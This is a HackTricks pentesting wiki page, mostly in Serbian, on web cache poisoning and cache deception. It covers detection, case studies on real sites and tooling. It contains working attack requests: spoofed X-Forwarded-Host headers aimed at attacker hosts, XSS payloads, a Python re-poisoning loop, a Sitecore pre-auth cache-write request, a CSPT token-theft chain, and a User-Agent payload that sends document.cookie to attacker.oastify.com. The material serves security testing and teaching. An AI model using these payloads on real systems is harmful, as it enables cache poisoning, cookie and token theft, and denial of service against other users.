Cache Poisoning and Cache Deception

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Razlika

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning ima za cilj manipulaciju client-side cache-om kako bi primorao klijente da učitaju resurse koji su neočekivani, nepotpuni ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer je zatrovani odgovor poslužen isključivo korisnicima koji posete stranicu tokom perioda kontaminacije cache-a.

Izvođenje napada cache poisoning-a uključuje nekoliko koraka:

  1. Identification of Unkeyed Inputs: To su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji vraća server. Identifikacija ovih inputa je ključna jer se mogu iskoristiti za manipulaciju cache-om.
  2. Exploitation of the Unkeyed Inputs: Nakon identifikacije unkeyed inputa, sledeći korak je otkriti kako zloupotrebiti ove parametre da se modifikuje serverov odgovor na način koji pogoduje napadaču.
  3. Ensuring the Poisoned Response is Cached: Završni korak je osigurati da se manipulisan odgovor sačuva u cache-u. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je cache zaražen dobiće zatrovani odgovor.

Otkrivanje: Provera HTTP zaglavlja

Obično, kada je odgovor bio sačuvan u cache-u pojaviće se zaglavlje koje to označava; možete proveriti na koja zaglavlja treba obratiti pažnju u ovom postu: HTTP Cache headers.

Otkrivanje: Keširanje kodova greške

Ako mislite da se odgovor čuva u cache-u, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da se odgovori sa status code 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status code 400, znate da je ranjivo (i čak biste mogli izvesti DoS).

You can find more options in:

Cache Poisoning to DoS

Ipak, imajte na umu da ponekad ovakvi status kodovi nisu keširani, pa ovaj test možda nije pouzdan.

Otkrivanje: Identifikujte i ocenite unkeyed inputs

Možete koristiti Param Miner da brute-force-ujete parametre i zaglavlja koja mogu menjati odgovor stranice. Na primer, stranica može koristiti zaglavlje X-Forwarded-For da označi klijenta da odatle učita skriptu:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Izazvati štetan odgovor od back-end servera

Kada identifikujete parameter/header, proverite kako se on sanitizuje i gde se reflektuje ili utiče na odgovor iz headera. Možete li ga ipak zloupotrebiti (izvesti XSS ili učitati JS kod koji kontrolišete? izvesti DoS?…)

Naterajte odgovor da se kešira

Kada ste identifikovali stranicu koja može biti zloupotrebljena, koji parameter/header koristiti i kako ga zloupotrebiti, potrebno je da stranica bude keširana. U zavisnosti od resursa koji pokušavate da stavite u keš, ovo može potrajati — možda ćete morati da pokušavate nekoliko sekundi.

Header X-Cache u odgovoru može biti vrlo koristan jer može imati vrednost miss kada zahtev nije bio keširan i vrednost hit kada jeste keširan.
Header Cache-Control je takođe interesantan da saznate da li se resurs kešira i kada će biti sledeći put keširan: Cache-Control: public, max-age=1800

Još jedan interesantan header je Vary. Ovo zaglavlje se često koristi da naznači dodatna zaglavlja koja se tretiraju kao deo cache ključa čak i ako se uobičajeno ne koriste kao ključ. Dakle, ako napadač zna User-Agent mete koju cilja, može poison the cache za korisnike koji koriste baš taj User-Agent.

Još jedno zaglavlje vezano za keš je Age. Ono definiše vreme u sekundama koliko je objekat bio u proxy kešu.

Pri keširanju zahteva, budite pažljivi sa zaglavljima koje koristite jer se neka od njih mogu neočekivano koristiti kao ključevi, i žrtva će morati da koristi isto zaglavlje. Uvek testirajte Cache Poisoning sa različitim browserima da proverite da li radi.

Foundational cache poisoning case studies

HackerOne globalno preusmeravanje preko X-Forwarded-Host

  • Origin je šablonizirao redirects i canonical URL-ove sa X-Forwarded-Host, ali cache ključ je koristio samo header Host, pa je jedan odgovor poison-ovao svakog posetioca do /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Odmah ponovo pošaljite zahtev za / bez spoofed header-a; ako preusmeravanje opstane, imate globalnu host-spoofing primitivu koja često nadograđuje reflected redirects/Open Graph linkove u stored issues.

GitHub repository DoS via Content-Type + PURGE

  • Anonimni saobraćaj je bio indeksiran samo po path-u, dok je backend ušao u stanje greške kada je video neočekivani Content-Type. Taj odgovor sa greškom je mogao biti keširan za svakog neautentifikovanog korisnika repo-a.
  • GitHub je takođe (slučajno) poštovao PURGE verb/HTTP metod, omogućavajući napadaču da ispere zdravu stavku i natera cache-e da po zahtevu preuzmu zatrovanu varijantu:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Uvek uporedi authenticated vs anonymous cache keys, fuzz retko keyed headers kao što je Content-Type, i ispitaj exposed cache-maintenance verbs da bi automatizovao re-poisoning.

Shopify cross-host persistence loops

  • Multi-layer caches ponekad zahtevaju više identičnih hits pre nego što se novi object commit-uje. Shopify je koristio isti cache preko brojnih lokalizovanih hosts, pa je persistence značilo uticaj na mnoge properties.
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Nakon hit odgovora, crawlujte druge hosts/assets koji dele isti cache namespace kako biste demonstrirali cross-domain blast radius.

JS asset redirect → stored XSS chain

  • Privatni programi često hostuju deljeni JS, kao što je /assets/main.js, na desetinama subdomena. Ako X-Forwarded-Host utiče na redirect logiku za te assete, ali je unkeyed, keširani odgovor postaje 301 ka attacker JS-u, što rezultira stored XSS svuda gde se asset importuje.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Mapirajte koji hostovi koriste isti asset path kako biste mogli dokazati kompromitovanje više poddomena.

GitLab statički DoS preko X-HTTP-Method-Override

  • GitLab je posluživao statične bundle-ove iz Google Cloud Storage, koji poštuje X-HTTP-Method-Override. Zamena GET sa HEAD vraćala je odgovor koji se može keširati (200 OK) sa Content-Length: 0, a edge cache je ignorisao HTTP metodu pri generisanju ključa.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Jedan zahtev je zamenio JS bundle praznim body-jem za svaki GET, efektivno DoSing-ovao UI. Uvek testirajte method overrides (X-HTTP-Method-Override, X-Method-Override, itd.) protiv static assets i potvrdite da li cache varira u zavisnosti od metode.

HackerOne static asset loop via X-Forwarded-Scheme

  • Rails’ Rack middleware je verovao X-Forwarded-Scheme da odluči da li da primeni HTTPS. Spoofovanjem http prema /static/logo.png izazvan je cacheable 301, tako da su svi korisnici naknadno dobijali redirects (ili petlje) umesto asset-a:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Kombinujte scheme spoofing sa host spoofing kada je moguće da biste konstruisali nepovratne redirects za resurse visoke vidljivosti.

Cloudflare host-header neslaganje u velikim/malim slovima

  • Cloudflare je normalizovao Host header za cache keys, ali je prosleđivao raw casing originima. Slanje Host: TaRgEt.CoM je izazivalo alternativno ponašanje u origin routing/templating, dok je istovremeno popunjavan canonical lowercase cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Enumerišite CDN tenants tako što ćete ponovo poslati mixed-case hosts (i druge normalized headers) i diff-ovati cached response naspram origin response da biste otkrili shared-platform cache poisonings.

Red Hat Open Graph meta poisoning

  • Injektovanjem X-Forwarded-Host unutar Open Graph tagova, reflected HTML injection je postao stored XSS nakon što je CDN keširao stranicu. Koristite harmless cache buster tokom testiranja kako biste izbegli ugrožavanje korisnika u produkciji:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Scraperi društvenih mreža koriste keširane Open Graph tagove, tako da jedan poisoned entry distribuira payload daleko izvan direktnih posetilaca.

Primeri eksploatacije

Najjednostavniji primer

Zaglavlje poput X-Forwarded-For se reflektuje u odgovoru bez sanitacije.
Možete poslati osnovni XSS payload i poison the cache tako da će svi koji pristupe stranici biti XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Imajte na umu da će ovo otrovati zahtev ka /en?region=uk, a ne ka /en

Cache poisoning za DoS

Cache Poisoning to DoS

Cache poisoning kroz CDNs

U this writeup objašnjen je sledeći jednostavan scenarij:

  • CDN će keširati sve što je pod /share/
  • CDN NE dekodira niti normalizuje %2F..%2F, stoga se to može iskoristiti kao path traversal za pristup drugim osetljivim lokacijama koje će biti keširane kao https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Web server WILL decode and normalize %2F..%2F, i odgovoriće sa /api/auth/session, koji contains the auth token.

Cookies se takođe mogu reflektovati u odgovoru stranice. Ako to možete zloupotrebiti da, na primer, izazovete XSS, mogli biste iskoristiti XSS u više klijenata koji učitavaju zlonamerni cache response.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Imajte na umu da, ako je ranjivi cookie često korišćen od strane korisnika, regularni zahtevi će čistiti cache.

Generisanje razlika pomoću delimitera, normalizacije i tačaka

Pogledaj:

Cache Poisoning via URL discrepancies

Cache poisoning pomoću path traversal-a za krađu API key-a

Ovaj writeup objašnjava kako je bilo moguće ukrasti OpenAI API key sa URL-om kao https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 jer će sve što odgovara /share/* biti keširano bez Cloudflare normalizacije URL-a, što je rađeno kada je zahtev stigao do web servera.

Ovo je takođe bolje objašnjeno u:

Cache Poisoning via URL discrepancies

Korišćenje više headera za iskorišćavanje web cache poisoning vulnerabilities

Ponekad će vam trebati da iskoristite nekoliko unkeyed inputs kako biste mogli zloupotrebiti cache. Na primer, možete pronaći Open redirect ako postavite X-Forwarded-Host na domen kojim upravljate i X-Forwarded-Scheme na http. Ako server preusmerava sve HTTP zahteve na HTTPS i koristi header X-Forwarded-Scheme kao ime domena za redirect. Možete kontrolisati gde će preusmeravanje usmeriti stranicu.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Eksploatisanje uz ograničen Vary header

Ako primetite da se X-Host header koristi kao ime domena za učitavanje JS resursa, ali da Vary header u odgovoru pokazuje User-Agent, morate pronaći način da izvučete User-Agent žrtve i zatrovate keš koristeći taj user-agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Pošaljite GET request sa parametrima i u URL-u i u body-ju. Ako web server koristi onu iz body-ja, ali cache server kešira onu iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parameter iz body-ja. Kao vuln koji je James Kettle pronašao na Github sajtu:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Postoji PortSwigger lab o ovome: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Learn here about how to perform Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Ovaj real-world pattern povezuje header-based reflection primitive sa ponašanjem CDN/WAF-a kako bi pouzdano poison-ovao cached HTML koji se servira drugim korisnicima:

  • The main HTML reflected an untrusted request header (e.g., User-Agent) into executable context.
  • The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., .js), while the WAF applied weaker content inspection to GETs for static assets.
  • Request flow quirks allowed a request to a .js path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.

Practical recipe (observed across a popular CDN/WAF):

  1. From a clean IP (avoid prior reputation-based downgrades), set a malicious User-Agent via browser or Burp Proxy Match & Replace.
  2. In Burp Repeater, prepare a group of two requests and use “Send group in parallel” (single-packet mode works best):
  • First request: GET a .js resource path on the same origin while sending your malicious User-Agent.
  • Immediately after: GET the main page (/).
  1. The CDN/WAF routing race plus the auto-cached .js often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same Vary dimensions like User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operativni saveti:

  • Mnogi CDNs sakrivaju cache headers; poisoning se može pojaviti samo tokom višesatnih refresh ciklusa. Koristite više vantage IPs i throttle-ujte da biste izbegli rate-limit ili reputation triggere.
  • Korišćenje IP adrese iz samog CDN cloud ponekad poboljšava konzistentnost rutiranja.
  • Ako je prisutan strog CSP, ovo i dalje funkcioniše ako se reflection izvrši u glavnom HTML kontekstu i CSP dozvoljava inline execution ili je zaobiđen kontekstom.

Uticaj:

  • Ako session cookies nisu HttpOnly, zero-click ATO je moguć masovnim eksfiltriranjem document.cookie od svih korisnika kojima je poslat poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Sitecore‑specifičan obrazac omogućava neautentifikovana pisanja u HtmlCache zloupotrebom pre‑auth XAML handlers i AjaxScriptManager reflection. Kada se dostigne handler Sitecore.Shell.Xaml.WebControl, dostupan je xmlcontrol:GlobalHeader (izveden iz Sitecore.Web.UI.WebControl) i dozvoljen je sledeći reflective call:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Ovo upisuje proizvoljan HTML pod cache key po izboru napadača, omogućavajući precizno poisoning čim su cache keys poznati.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Ranjivi primeri

Apache Traffic Server (CVE-2021-27577)

ATS je prosleđivao fragment iz URL-a bez uklanjanja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle zahtev /#/../?r=javascript:alert(1) je poslat backendu kao /#/../?r=javascript:alert(1) i cache key nije sadržao payload u sebi, već samo host, path i query.

403 and Storage Buckets

Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization header-ima bi rezultovao 403 odgovorom koji je bio cached. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje postojati u drugim proxy servisima.

Injecting Keyed Parameters

Keševi često uključuju specifične GET parametre u cache key. Na primer, Fastly’s Varnish je keširao size parametar u zahtevima. Međutim, ako je URL-encoded verzija parametra (npr. siz%65) takođe poslata sa pogrešnom vrednošću, cache key bi bio konstruisan koristeći ispravan size parametar. Ipak, backend bi obradio vrednost iz URL-encoded parametra. URL-encoding drugog size parametra je doveo do njegovog izostavljanja od strane cache-a, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 tom parametru rezultiralo je cacheable 400 Bad Request greškom.

User Agent Rules

Neki developeri blokiraju zahteve sa user-agentima koji odgovaraju alatima visokog saobraćaja poput FFUF ili Nuclei da bi kontrolisali opterećenje servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS.

Illegal Header Fields

The RFC7230 specifies the acceptable characters in header names. Header-i koji sadrže karaktere van definisanog tchar opsega bi idealno trebalo da izazovu 400 Bad Request. U praksi, serveri ne uvek poštuju ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira bilo koji 400 error, sve dok cache-control header nije prisutan. Identifikovan je eksploatabilan obrazac gde slanje header-a sa ilegalnim karakterom, kao što je \, rezultira cacheable 400 Bad Request greškom.

Pronalaženje novih header-a

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cilj Cache Deception je naterati klijente da učitaju resurse koji će biti sačuvani u cache-u sa njihovim osetljivim informacijama.

Prvo, primećujemo da su extensions poput .css, .js, .png itd. obično konfigurisane da budu sačuvane u cache-u. Stoga, ako pristupite www.example.com/profile.php/nonexistent.js cache će verovatno sačuvati odgovor jer vidi .js extension. Ali, ako aplikacija odgovara sa osetljivim korisničkim sadržajem koji je smešten na www.example.com/profile.php, možete te sadržaje ukrasti od drugih korisnika.

Ostale stvari za testiranje:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Još jedan vrlo jasan primer može se naći u ovom write-upu: https://hackerone.com/reports/593712.
U primeru se objašnjava da, ako učitate nepostojeću stranicu poput http://www.example.com/home.php/non-existent.css, sadržaj http://www.example.com/home.php (sa osetljivim informacijama korisnika) će biti vraćen i cache server će sačuvati rezultat.
Zatim, napadač može pristupiti http://www.example.com/home.php/non-existent.css u svom pretraživaču i posmatrati povjerljive informacije korisnika koji su pristupili ranije.

Obratite pažnju da cache proxy treba biti konfigurisana da kešira fajlove na osnovu ekstenzije fajla (.css) a ne na osnovu content-type. U primeru http://www.example.com/home.php/non-existent.css će imati text/html content-type umesto text/css mime type-a.

Saznaj ovde kako izvesti Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

Ovaj obrazac kombinuje Client-Side Path Traversal (CSPT) primitivu u Single-Page App (SPA) sa extension-based CDN caching kako bi javno keširao osetljiv JSON koji je prvobitno bio dostupan samo putem autentifikovanog API poziva.

Osnovna ideja:

  • Osetljiv API endpoint zahteva custom auth header i ispravno je označen kao non-cacheable od strane origin-a.
  • Dodavanje suffix-a koji izgleda statično (na primer, .css) nateraće CDN da tretira path kao statički asset i kešira odgovor, često bez variranja na osnovu osetljivih header-a.
  • SPA sadrži CSPT: konkatenira user-controlled path segment u API URL dok prilaže victim-ov auth header (na primer, X-Auth-Token). Ubacivanjem ../.. traversal, authenticated fetch se preusmerava na cacheable path varijantu (…/v1/token.css), uzrokujući da CDN kešira victim-ov token JSON pod javnim ključem.
  • Bilo ko tada može GET-ovati isti cache key bez autentifikacije i preuzeti victim-ov token.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Sufiks koji izgleda statički natera CDN da kešira:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT u SPA prilaže auth header i omogućava traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Exploit chain:
  1. Navucite žrtvu na URL koji ubacuje dot-segmente (../) u SPA path parametar, npr.:
  1. SPA izvršava autentifikovani fetch na:
  1. Pregledač normalizuje put u:
  1. CDN tretira .css kao statički asset i kešira JSON sa Cache-Control: public, max-age=…
  2. Javno preuzimanje: bilo ko može potom GET-ovati https://api.example.com/v1/token.css i dobiti keširani token JSON.

Preduslovi

  • SPA izvršava autentifikovani fetch/XHR na isti API origin (ili cross-origin sa funkcionalnim CORS) i prilaže osetljiva zaglavlja ili bearer tokene.
  • Edge/CDN primenjuje keširanje bazirano na ekstenzijama za putanje koje izgledaju statički (npr. *.css, *.js, images) i ne varira cache key na osnovu osetljivog header-a.
  • Origin za osnovni endpoint nije kešabilan (ispravno), ali varijanta sa sufiksom ekstenzije je dozvoljena ili nije blokirana edge pravilima.

Kontrolna lista za validaciju

  • Identifikujte osetljive dinamičke endpoint-e i probajte sufikse kao .css, .js, .jpg, .json. Tražite Cache-Control: public/max-age i X-Cache: Hit (ili ekvivalent, npr. CF-Cache-Status) dok sadržaj ostaje JSON.
  • Pronađite klijentski kod koji konkatenira korisnički kontrolisan input u API putanje dok prilaže auth zaglavlja. Injektujte ../ sekvence da preusmerite autentifikovani zahtev na ciljnu endpoint-u.
  • Potvrdite da je autentifikovano zaglavlje prisutno na preusmerenoj zahtev (npr. u proxy-ju ili preko server-side logova) i da CDN kešira odgovor pod traversiranim putem.
  • Iz čistog konteksta (bez auth), zatražite isti put i potvrdite da se tajni JSON servisira iz keša.

Automatski alati

  • toxicache: Golang skener za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više injection tehnika.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks